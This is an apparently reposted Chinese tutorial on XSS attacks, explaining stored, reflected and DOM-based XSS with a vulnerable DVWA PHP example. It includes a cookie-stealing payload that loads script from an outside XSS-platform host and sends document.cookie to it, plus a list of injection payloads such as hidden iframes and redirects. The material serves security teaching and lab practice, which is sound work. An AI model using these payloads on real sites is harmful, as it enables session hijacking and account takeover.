【课】XSS跨站脚本攻击及防护

XSS跨站脚本攻击及防护

XSS漏洞是最广泛、作用最关键的web安全漏洞之一。在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。
XSS的传播性极强,由于web的特点是轻量级、灵活性高,每个用户每天都可能访问很多web站点,每个web站点每天都有成千上万的来访。
如果将XSS攻击配合一些系统内核级的漏洞,完全可能在几个小时之内击垮几百万台智能设备

案例:
myspace 第一个xss攻击
2011.6.28新浪微博
2014.3.9百度贴吧

OWASP排名 XSS注入2017年位居首位

XSS实际对应的英文是Cross Site Script,缩写为CSS。XSS攻击中跨站不是重点,重点是攻击。
XSS攻击是一种客户端访问嵌入有恶意脚本代码(JS脚本、HTML代码)的Web页面,从而盗取信息,利用身份等的一种攻击行为

对一段代码:

<?php header ("X-XSS-Protection: 0"); // IS there any input? if( array_key_exists("name", $_GET) && $_GET[ 'name' ] != NULL) // Feedback for end user echo '<pre>Hello' . $_GET[ 'name' ] . '</pre>'; ) ?> 

会将Hello和输入内容拼接,如果将name输入<script>alert(222),显然会被执行

根据攻击的来源,,XSS漏洞攻击可以分成三种类型:

  • 存储型XSS – 危害性最大
    • 持久性:攻击者通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器中,每个访问该帖子/文章的人都会触发该恶意脚本执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
  • 反射型XSS
    • 非持久性:攻击者事先制作好攻击链接,将攻击脚本嵌入到某个URL链接中,诱骗用户自己去点击链接,从而触发攻击代码执行,完成该次攻击。(容易出现在搜索中)
  • DOM型XSS
    经常会归到以上两种中,不同的是只在客户端进行解析,不需要服务器的解析响应。
    • DOM:Document Object Model,即文档对象模型,它是标识和处理一个HTML或XML文档的常用方法,是以面向对象方式描述的文档模型。
    • DOM型XSS基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM结点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行

存储型XSS攻击过程

反射型XSS攻击过程

反射型XSS与存储型XSS区别:
存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存储在URL里。
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往结合多种手段诱导用户点击。

DOM型XSS攻击过程

DOM型XSS跟前两种XSS的区别:
DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端Javascript自身的安全漏洞,而其他两种XSS都属于服务端的安全漏洞

  • 案例一:
    盗取Cookie:诱骗点击
    攻击者利用反射型XSS漏洞,获取受害者Cookie,从而可以实现无密码登录。注入代码:
<sCRiPt sRC=https://xss8.cc/tvW7> </sCrIpT> 

即引入自己的url中,此url的核心代码:

keep.src='https://xss8.cc/xss.php?do=keepsession&id=tvW7&url=' +escape(document.location) +'&cookie'+escape(document.cookie)}; 

将获取的Cookie信息传递给站点以外服务器
利用DVWA进行实验

  • 案例二:
    反射型XSS
    利用DVWA进行实验

XSS在实战中入侵

  • 可跨站标签
    • <img>标签src属性
    • <Script>标签src属性
    • <Link>标签href属性
    • Css中<img>标签
    • Flash中<img>标签
  • 入侵方式
    • 测试是否存在跨站
    <script> alert("test") </script> 
    • 弹出一个包含浏览者cookie信息的对话框
    <script> window.alert(document.cookie) </script> 
    • 打开另一个网页窗口
    <script> window.open('要打开的页面''属性') </script> 
    • 出现一个高0,宽0的网页框架,用户不可见
    <iframe src=http://www.target.com/index.asp width=0 height=0></iframe> 
    • 刷新到另一个页面
    <meta http-equiv="refresh" content="1;URL=http://www.target.com/index.asp"> 
    • Scriptlet引入另一个页面
    <object type="text/x-scriptlet" data="http://www.target.com/index.asp"></object> 

针对XSS攻击的两大要素:

原文链接:https://www.cnblogs.com/emysalph/p/12887302.html

原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/21903

(0)
上一篇 2023年12月5日
下一篇 2023年12月5日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

优速盾注册领取大礼包www.cdnb.net
/sitemap.xml